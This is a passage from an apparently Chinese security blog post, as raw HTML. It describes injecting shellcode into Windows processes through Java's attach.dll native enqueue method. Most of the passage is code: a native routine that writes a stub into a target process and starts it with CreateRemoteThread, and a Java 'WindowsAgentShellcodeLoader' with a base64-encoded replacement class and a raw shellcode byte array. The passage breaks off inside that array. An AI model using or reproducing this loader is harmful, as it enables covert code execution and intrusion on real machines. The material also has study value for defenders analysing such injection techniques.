hProcess, <span style="color: #d19a66;line-height: 26px;">0</span>, <span style="color: #c678dd;line-height: 26px;">sizeof</span>(DataBlock), MEM_COMMIT, PAGE_READWRITE );<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> (pData == <span style="color: #56b6c2;line-height: 26px;">NULL</span>) {<br/>        JNU_ThrowIOExceptionWithLastError(env, <span style="color: #98c379;line-height: 26px;">&#34;VirtualAllocEx failed&#34;</span>);<br/>        <span style="color: #c678dd;line-height: 26px;">return</span>;<br/>    }<br/>    WriteProcessMemory( hProcess, (LPVOID)pData, (LPCVOID)&amp;data, (SIZE_T)<span style="color: #c678dd;line-height: 26px;">sizeof</span>(DataBlock), <span style="color: #56b6c2;line-height: 26px;">NULL</span> );<br/>    stubLen = (DWORD)(*env)-&gt;GetArrayLength(env, stub);<br/>    stubCode = (*env)-&gt;GetByteArrayElements(env, stub, &amp;isCopy);<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> ((*env)-&gt;ExceptionOccurred(env)) <span style="color: #c678dd;line-height: 26px;">return</span>;<br/>    pCode = (PDWORD) VirtualAllocEx( hProcess, <span style="color: #d19a66;line-height: 26px;">0</span>, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE );<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> (pCode == <span style="color: #56b6c2;line-height: 26px;">NULL</span>) {<br/>        JNU_ThrowIOExceptionWithLastError(env, <span style="color: #98c379;line-height: 26px;">&#34;VirtualAllocEx failed&#34;</span>);<br/>        VirtualFreeEx(hProcess, pData, <span style="color: #d19a66;line-height: 26px;">0</span>, MEM_RELEASE);<br/>        (*env)-&gt;ReleaseByteArrayElements(env, stub, stubCode, JNI_ABORT);<br/>        <span style="color: #c678dd;line-height: 26px;">return</span>;<br/>    }<br/>    WriteProcessMemory( hProcess, (LPVOID)pCode, (LPCVOID)stubCode, (SIZE_T)stubLen, <span style="color: #56b6c2;line-height: 26px;">NULL</span> );<br/>    (*env)-&gt;ReleaseByteArrayElements(env, stub, stubCode, JNI_ABORT);<br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;">/*<br/>     * Create thread in target process to execute code<br/>     */</span><br/>    hThread = CreateRemoteThread( hProcess,<br/>                                  <span style="color: #56b6c2;line-height: 26px;">NULL</span>,<br/>                                  <span style="color: #d19a66;line-height: 26px;">0</span>,<br/>                                  (LPTHREAD_START_ROUTINE) pCode,<br/>                                  pData,<br/>                                  <span style="color: #d19a66;line-height: 26px;">0</span>,<br/>                                  <span style="color: #56b6c2;line-height: 26px;">NULL</span> );<br/>    ...<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当然你不能说这个是bug，只能说是feature。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="837" data-backw="558" data-galleryid="" data-s="300,640" style="width: 100%;height: auto;" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=fb13b449&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3pMKYkVJQD4aOqN2pSkHZukM3dLQPyGic0eFtVVdiazEy4weVm9jqqleD5pRRywkRnfjYUxt4rkaKTFTfSrCjF4g%2F640%3Fwx_fmt%3Djpeg"/></p><br/><p><br/></p><span style="letter-spacing: 0px;">相应的Demo是比较简单，在</span><code style="letter-spacing: 0px;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">stub</code><span style="letter-spacing: 0px;">参数中传入sh</span><span style="letter-spacing: 0px;">ellcode即可，@</span>rebeyond<span style="letter-spacing: 0px;">师傅已经给出了代码，笔者在这里做了点简化。</span><span style="letter-spacing: 0px;">不过实现Native方法的链接库</span><code style="letter-spacing: 0px;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">attach.dll</code><span style="letter-spacing: 0px;">默认存在，但</span><code style="letter-spacing: 0px;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">tools.jar</code><span style="letter-spacing: 0px;">这个包不一定存在，@</span>rebeyond<span style="letter-spacing: 0px;">师傅巧妙的利用了双亲委派机制，当jvm中没有加载</span><code style="letter-spacing: 0px;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">VirtualMachineImpl</code><span style="letter-spacing: 0px;">类时，就会使用下面base64编码的类替代，当然这种方法仅适用于Windows，因为Linux下</span><code style="letter-spacing: 0px;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">enqueue</code><span style="letter-spacing: 0px;">并不是这么实现的。</span><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcyibO6RibZ0y47lCumKm6Cdonx41ZlNSoibt7a1oic8jSMrbIjpXCBco5LopCwbmEavFLA7gZwDib24K5L/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">import</span> java.io.ByteArrayOutputStream;<br/><span style="color: #c678dd;line-height: 26px;">import</span> java.lang.reflect.Method;<br/><span style="color: #c678dd;line-height: 26px;">import</span> java.util.Base64;<br/><span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">class</span> <span style="color: #e6c07b;line-height: 26px;">WindowsAgentShellcodeLoader</span> </span>{<br/>    <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span> <span style="color: #c678dd;line-height: 26px;">static</span> <span style="color: #c678dd;line-height: 26px;">void</span> <span style="color: #61aeee;line-height: 26px;">main</span><span style="line-height: 26px;">(String[] args)</span> </span>{<br/>        <span style="color: #c678dd;line-height: 26px;">try</span> {<br/>            String classStr = <span style="color: #98c379;line-height: 26px;">&#34;yv66vgAAADQAMgoABwAjCAAkCgAlACYF//////////8IACcHACgKAAsAKQcAKgoACQArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAChMc3VuL3Rvb2xzL2F0dGFjaC9XaW5kb3dzVmlydHVhbE1hY2hpbmU7AQAHZW5xdWV1ZQEAPShKW0JMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9PYmplY3Q7KVYBAApFeGNlcHRpb25zBwAtAQALb3BlblByb2Nlc3MBAAQoSSlKAQADcnVuAQAFKFtCKVYBAAR2YXIyAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADYnVmAQACW0IBAA1TdGFja01hcFRhYmxlBwAqAQAKU291cmNlRmlsZQEAGldpbmRvd3NWaXJ0dWFsTWFjaGluZS5qYXZhDAAMAA0BAAZhdHRhY2gHAC4MAC8AMAEABHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0DAATABQBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAxAA0BACZzdW4vdG9vbHMvYXR0YWNoL1dpbmRvd3NWaXJ0dWFsTWFjaGluZQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQALbG9hZExpYnJhcnkBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA9wcmludFN0YWNrVHJhY2UAIQALAAcAAAAAAAQAAQAMAA0AAQAOAAAAMwABAAEAAAAFKrcAAbEAAAACAA8AAAAKAAIAAAAGAAQABwAQAAAADAABAAAABQARABIAAAGIABMAFAABABUAAAAEAAEAFgEIABcAGAABABUAAAAEAAEAFgAJABkAGgABAA4AAAB6AAYAAgAAAB0SArgAAxQABCoSBhIGA70AB7gACKcACEwrtgAKsQABAAUAFAAXAAkAAwAPAAAAGgAGAAAADgAFABAAFAATABcAEQAYABIAHAAVABAAAAAWAAIAGAAEABsAHAABAAAAHQAdAB4AAAAfAAAABwACVwcAIAQAAQAhAAAAAgAi&#34;</span>;<br/>            Class clazz = <span style="color: #c678dd;line-height: 26px;">new</span> MyClassLoader().get(Base64.getDecoder().decode(classStr));<br/>            <span style="color: #c678dd;line-height: 26px;">byte</span> buf[] = <span style="color: #c678dd;line-height: 26px;">new</span> <span style="color: #c678dd;line-height: 26px;">byte</span>[]{<br/>                    (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xFC</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x48</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x83</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xE4</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xF0</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xE8</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xC0</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x00</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x00</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x00</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x41</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x51</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x41</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x50</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x52</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x51</span>,<br/>                    (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x56</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x48</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x31</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xD2</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x65</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x48</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x8B</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x52</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x60</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x48</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x8B</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x52</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x18</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x48</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x8B</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x52</span>,<br/>                    (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x20</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x48</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x8B</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x72</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x50</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x48</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x0F</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xB7</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x4A</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x4A</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x4D</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x31</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xC9</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x48</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x31</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xC0</span>,<br/>                    (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xAC</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x3C</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x61</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x7C</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x02</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x2C</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x20</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x41</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xC1</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xC9</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x0D</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x41</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x01</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xC1</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xE2</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xED</span>,<br/>                    (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x52</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x41</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x51</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x48</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x8B</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x52</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x20</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x8B</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x42</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x3C</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x48</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x01</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xD0</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x8B</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x80</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x88</span>,<br/>                    (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x00</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x00</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x00</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x48</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x85</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xC0</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x74</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x67</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x48</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x01</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xD0</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x50</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x8B</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x48</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x18</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x44</span>,<br/>                    (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x8B</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x40</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x20</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x49</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x01</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xD0</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xE3</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x56</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x48</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xFF</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xC9</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x41</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x8B</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x34</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x88</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x48</span>,<br/>                    (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x01</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xD6</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x4D</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x31</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xC9</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x48</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x31</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xC0</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xAC</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x41</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xC1</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xC9</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x0D</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x41</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x01</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xC1</span>,<br/>                    (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x38</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xE0</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x75</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xF1</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x4C</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x03</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x4C</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x24</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x08</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x45</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x39</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xD1</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x75</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xD8</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x58</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x44</span>,<br/>                    (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x8B</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x40</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x24</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x49</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x01</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xD0</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x66</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x41</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x8B</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x0C</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x48</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x44</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x8B</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x40</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x1C</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x49</span>,<br/>                    (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x01</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xD0</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x41</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x8B</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x04</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x88</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x48</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x01</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xD0</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x41</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x58</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x41</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x58</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x5E</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x59</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x5A</span>,<br/>                    (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x41</span>, (<span style="color: 